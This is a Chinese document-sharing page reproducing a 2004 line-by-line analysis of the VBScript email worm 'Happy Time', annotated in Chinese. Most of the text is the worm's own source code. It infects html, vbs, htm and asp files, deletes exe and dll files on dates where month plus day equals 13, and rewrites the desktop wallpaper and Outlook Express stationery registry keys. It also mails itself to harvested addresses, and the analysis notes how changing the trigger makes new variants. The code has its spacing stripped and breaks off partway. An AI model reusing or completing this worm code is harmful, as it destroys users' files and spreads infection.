欢乐时光代码分析.docx
- 文档编号:15772873
- 上传时间:2023-07-07
- 格式:DOCX
- 页数:16
- 大小:19.83KB
欢乐时光代码分析.docx
《欢乐时光代码分析.docx》由会员分享,可在线阅读,更多相关《欢乐时光代码分析.docx(16页珍藏版)》请在冰点文库上搜索。
欢乐时光代码分析
欢乐时光代码分析
作者:
billlai整理日期:
2004年6月15日
***************欢乐时光***************
RemIamsorry!
happytime
OnErrorResumeNext
Mload
'以上为病毒入口,并加上Iamsorry!
happytime的注释,以表明此文件已被感染过。
Submload()
OnErrorResumeNext
mPath=Grf()
SetOs=CreateObject("Scriptlet.TypeLib")
SetOh=CreateObject("Shell.Application")
'建立枚举对象,避开了安全审核
IfIsHTMLThen
'调用IsHtml函数,如果是Html,就小写……
mURL=LCase(document.Location)
IfmPath=""Then
Os.Reset
Os.Path="C:
\Help.htm"
Os.Doc=Lhtml()
Os.Write()
'如果mPath为空,就在C盘下生成Help.htm
Ihtml=""
'超文本的内容,并指向C:
\Help.Htm
Calldocument.Body.insertAdjacentHTML("AfterBegin",Ihtml)
Else
IfIv(mPath,"Help.vbs")Then
setInterval"Rt()",10000
Else
m="hta"
IfLCase(m)=Right(mURL,Len(m))Then
id=setTimeout("mclose()",1)
'设置超时条件
main
Else
Os.Reset()
Os.Path=mPath&"\"&"Help.hta"
Os.Doc=Lhtml()
Os.write()
IvmPath,"Help.hta"
'生成Help.hta
EndIf
EndIf
EndIf
Else
Main
'都不是,就执行main函数
EndIf
EndSub
'******************************************************************
'以下为主函数,太长了!
Submain()
OnErrorResumeNext
SetOf=CreateObject("Scripting.FileSystemObject")
'不用说,创建FileSystemObject对象啦
SetOd=CreateObject("Scripting.Dictionary")
'创建Dictionary对象,用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add"html","1100"
Od.Add"vbs","0100"
Od.Add"htm","1100"
Od.Add"asp","0010"
'向Dictionary对象添加要感染的项目对
Ks="HKEY_CURRENT_USER\Software\"
'使用变量以减少代码长度
Ds=Grf()
Cs=Gsf()
IfIsVbsThen
'如果是VBS
IfOf.FileExists("C:
\help.htm")Then
Of.DeleteFile("C:
\help.htm")
'如果c:
\help.htm存在,就删掉,消灭遗留的痕迹
EndIf
Key=CInt(Month(Date)+Day(Date))
IfKey=13Then
'如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll
Od.Add"exe","0001"
Od.Add"dll","0001"
'就清空Dictionary数组,并将exe、dll加入Dictionary对象,以备删除之用
EndIf
Cn=Rg(Ks&"Help\Count")
'读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
IfCn=""Then
Cn=1
'如果Count为0,就设为1
EndIf
RwKs&"Help\Count",Cn+1
'添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2
f1=Rg(Ks&"Help\FileName")
'再读HKEY_CURRENT_USER\Software\Help\FileName键值
f2=FNext(Of,Od,f1)
'得到该文件的文件名
fext=GetExt(Of,Od,f2)
'得到该文件扩展名的代号
RwKs&"Help\FileName",f2
'添加键值
IfIsDel(fext)Then
'如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3=f2
'储存文件名
f2=FNext(Of,Od,f2)
'得到文件的文件名?
RwKs&"Help\FileName",f2
'写注册表
Of.DeleteFilef3
'删除文件
Else
IfLCase(WScript.ScriptFullname)<>LCase(f2)Then
'如果不是集合中的文件
FwOf,f2,fext
EndIf
EndIf
If(CInt(Cn)Mod366)=0Then
If(CInt(Second(Time))Mod2)=0Then
'使用Cint函数强制执行转换,并发邮件
Tsend
Else
adds=Og
Msend(adds)
EndIf
EndIf
wp=Rg("HKEY_CURRENT_USER\ControlPanel\desktop\wallPaper")
IfRg(Ks&"Help\wallPaper")<>wpOrwp=""Then
'比较桌面墙纸是否已改变
Ifwp=""Then
n1=""
n3=Cs&"\Help.htm"
Else
mP=Of.GetFile(wp).ParentFolder
n1=Of.GetFileName(wp)
n2=Of.GetBaseName(wp)
n3=Cs&"\"&n2&".htm"
EndIf
Setpfc=Of.CreateTextFile(n3,True)
mt=Sa("1100")
'创建超文本
pfc.Write"<"&"HTML><"&"bodybgcolor='#007f7f'background='"&n1&"'><
"&"/Body><"&"/HTML>"&mt
'超文本的内容
pfc.Close
RwKs&"Help\wallPaper",n3
Rw"HKEY_CURRENT_USER\ControlPanel\desktop\wallPaper",n3
'将带毒的超文本设置成活动桌面
EndIf
Else
Setfc=Of.CreateTextFile(Ds&"\Help.vbs",True)
fc.WriteSa("0100")
'创建vbs文件
fc.Close
bf=Cs&"\Untitled.htm"
Setfc2=Of.CreateTextFile(bf,True)
fc2.WriteLhtml
fc2.Close
'创建windows下的untitled.htm
oeid=Rg("HKEY_CURRENT_USER\Identities\DefaultUserID")
oe="HKEY_CURRENT_USER\Identities\"&oeid&"\Software\Microsoft\OutlookE
xpress\5.0\Mail"
MSH=oe&"\MessageSendHTML"
CUS=oe&"\ComposeUseStationery"
SN=oe&"\StationeryName"
RwMSH,1
RwCUS,1
RwSN,bf
'在Hkey_Current_User\Identities\{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}\Software\Microsoft\OutlookExpress\5.0\Mail下添加三个键值MessageSendHTML、ComposeUseStationery和StationeryName,前两个的值为1,后一个指向windows\untitled.htm
Web=Cs&"\WEB"
Setgf=Of.GetFolder(Web).Files
'得到windows\web文件夹里的文件
Od.Add"htt","1100"
'向Dictionary里添加htt项目对
ForEachmIngf
'遍历windows\web下的每一个文件
fext=GetExt(Of,Od,m)
'得到每个文件的扩展名
Iffext<>""Then
'如果扩展名不为空,则
FwOf,m,fext
EndIf
Next
EndIf
EndSub
'******************************************************************
Submclose()
document.Write"<"&"title>Iamsorry!
'写入Iamsorry,并关闭。
以此作为感染与否的标记
window.Close
EndSub
'******************************************************************
SubFw(Of,S,n)
'此时S为文件名,n为文件扩展名
Dimfc,fc2,m,mmail,mt
OnErrorResumeNext
Setfc=Of.OpenTextFile(S,1)
'只读模式打开该文件
mt=fc.ReadAll
'读入全部文件流
fc.Close
'关闭文件
IfNotSc(mt)Then
'如果未感染过
mmail=Ml(mt)
mt=Sa(n)
Setfc2=Of.OpenTextFile(S,8)
'打开文件并在文件末尾进行写操作
fc2.Writemt
fc2.Close
Msend(mmail)
'发带毒邮件
EndIf
EndSub
'******************************************************************
FunctionSc(S)
mN="RemIamsorry!
happytime"
IfInStr(S,mN)>0Then
'如果读入的文件流中有RemIamsorry!
happytime
Sc=True
Else
Sc=False
'表示已感染过,返回True,否则为False
EndIf
EndFunction
'******************************************************************
FunctionFNext(Of,Od,S)
Dimfpath,fname,fext,T,gf
OnErrorResumeNext
fname=""
T=False
'初始化变量
IfOf.FileExists(S)Then
'如果S存在于当前文件夹中
fpath=Of.GetFile(S).ParentFolder
'得到文件的父目录名
fname=S
'得到文件名
ElseIfOf.FolderExists(S)Then
'不存在于当前文件夹中,则得到目录名
fpath=S
T=True
Else
fpath=Dnext(Of,"")
'得到当前盘符——即根目录
EndIf
DoWhileTrue
Setgf=Of.GetFolder(fpath).Files
'得到当前目录下的所有文件对象
ForEachmIngf
'遍历每个文件
IfTThen
IfGetExt(Of,Od,m)<>""Then
'如果该文件是文件集合中的一员
FNext=m
'则返回该文件名,供调用的函数或过程使用——感染或删除之
ExitFunction
EndIf
ElseIfLCase(m)=LCase(fname)Orfname=""Then
'如果没文件
T=True
EndIf
Next
fpath=Pnext(Of,fpath)'
Loop
EndFunction
'******************************************************************
FunctionPnext(Of,S)
OnErrorResumeNext
DimPpath,Npath,gp,pn,T,m
T=False
IfOf.FolderExists(S)Then
'如果如果指定的文件夹存在
Setgp=Of.GetFolder(S).SubFolders
'就得到子目录数
pn=gp.Count
Ifpn=0Then
'如果没子目录
Ppath=LCase(S)'
Npath=LCase(Of.GetParentFolderName(S))
'得到父目录的小写形式
T=True
Else
Npath=LCase(S)
'有子目录,得到其小写形式的集合
EndIf
DoWhileNotEr'
ForEachpnInOf.GetFolder(Npath).SubFolders
'得到子目录下的子目录
IfTThen
IfPpath=LCase(pn)Then
T=False
EndIf
Else
Pnext=LCase(pn)
ExitFunction
EndIf
Next
T=True
Ppath=LCase(Npath)
'将字符串转化成小写
Npath=Of.GetParentFolderName(Npath)'
IfOf.GetFolder(Ppath).IsRootFolderThen
'如果是根目录
m=Of.GetDriveName(Ppath)
'就得到分区符
Pnext=Dnext(Of,m)
ExitFunction
EndIf
Loop
EndIf
EndFunction
'******************************************************************
FunctionDnext(Of,S)
Dimdc,n,d,T,m
OnErrorResumeNext
T=False
m=""
Setdc=Of.Drives
'得到所有的驱动器盘符
ForEachdIndc
'遍历每个驱动器
Ifd.DriveType=2Ord.DriveType=3Then
'如果是网络盘或本地盘
IfTThen
Dnext=d
ExitFunction
'如果是False,就返回当前盘,并退出本函数
Else
IfLCase(S)=LCase(d)Then
'如果是True且盘符相同,就令T为True
T=True
EndIf
Ifm=""Then
'如果m为空,就将盘符付给m
m=d
EndIf
EndIf
EndIf
Next
Dnext=m
'返回盘符
EndFunction
'******************************************************************
FunctionGetExt(Of,Od,S)
Dimfext
OnErrorResumeNext
fext=LCase(Of.GetExtensionName(S))
'返回该文件扩展名的小写
GetExt=Od.Item(fext)
'返回Dictionary对象中指定的key对应的item——即0001(exe)等
EndFunction
'******************************************************************
SubRw(k,v)
'写注册表
DimR
OnErrorResumeNext
SetR=CreateObject("WScript.Shell")
'创建对象
R.RegWritek,v
EndSub
'******************************************************************
FunctionRg(v)
'读注册表
DimR
OnErrorResumeNext
SetR=CreateObject("WScript.Shell")
'创建对象
Rg=R.RegRead(v)
EndFunction
'******************************************************************
FunctionIsVbs()
'此函数判断是不是VBS文件
DimErrTest
OnErrorResumeNext
ErrTest=WScript.ScriptFullname
IfErrThen
'如果出错,则不是VBS
IsVbs=False
Else
IsVbs=True
EndIf
EndFunction
'******************************************************************
FunctionIsHTML()
'此函数判断是不是Html文件
DimErrTest
OnErrorResumeNext
ErrTest=document.Location
IfErThen
IsHTML=False
'如果出错,则不是超文本
Else
IsHTML=True
EndIf
EndFunction
'******************************************************************
FunctionIsMail(S)
'此函数判断是不是邮件地址
Dimm1,m2
IsMail=False
IfInStr(S,vbCrLf)=0Then
'返回vbCrLf在S中第一次出现的位置,vbCrLf是换行符
m1=InStr(S,"@")
m2=InStr(S,".")
Ifm1<>0Andm1 '如果有“@”符号且“@”在“."之前,则是邮件地址 IsMail=True EndIf EndIf EndFunction '****************************************************************** FunctionGsf() '得到windows目录 DimOf,m OnErrorResumeNext SetOf=CreateObject("Scripting.FileSystemObject") '创建FileSystemObject对象 m=Of.GetSpecialFolder(0) '得到特殊目录——Windows、System和Temp目录 IfErThen '如果失败,返回C: \ Gsf="C: \" Else '若正常,则返回%Windows% Gsf=m EndIf EndFunction '****************************************************************** FunctionLhtml() '写入超文本的内容,其中vbCrLf是换行符 Lhtml="<"&"HTML"&">"<"&"Title>Help"<"&"Body>"&Lscript(Lvbs())&vbCrLf&_ "<"&"/Body>EndFunction '****************************************************************** FunctionLscript(S) '写入vbscript的声明 Lscript="<"&"scriptlanguage='VBScript'>"&vbCrLf&_ S&"<"&"/script"&">" EndFunction '****************************************************************** FunctionSl(S1,S2,n) Diml1,l2,l3,i l1=Len(S1) '得到文件流的长度 l2=Len(S2) '得到mailto: 的长度 i=InStr(S1,S2) '在文件流中查找mailto: 第一次出现的位置——值为一个数 Ifi>0Then '找到则进行字符串操作 l3=i+l2-1 Ifn=0Then Sl=Left(S1,i-1) ElseIfn=1Then Sl=Right(S1,l1-l3) EndIf Else
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 欢乐 时光 代码 分析
![提示](https://static.bingdoc.com/images/bang_tan.gif)